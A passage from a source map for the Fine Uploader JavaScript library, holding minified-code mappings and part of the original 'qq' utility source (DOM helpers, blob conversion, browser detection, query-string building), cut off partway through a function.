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","file":"fine-uploader.min.js","sourcesContent":[null,"/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        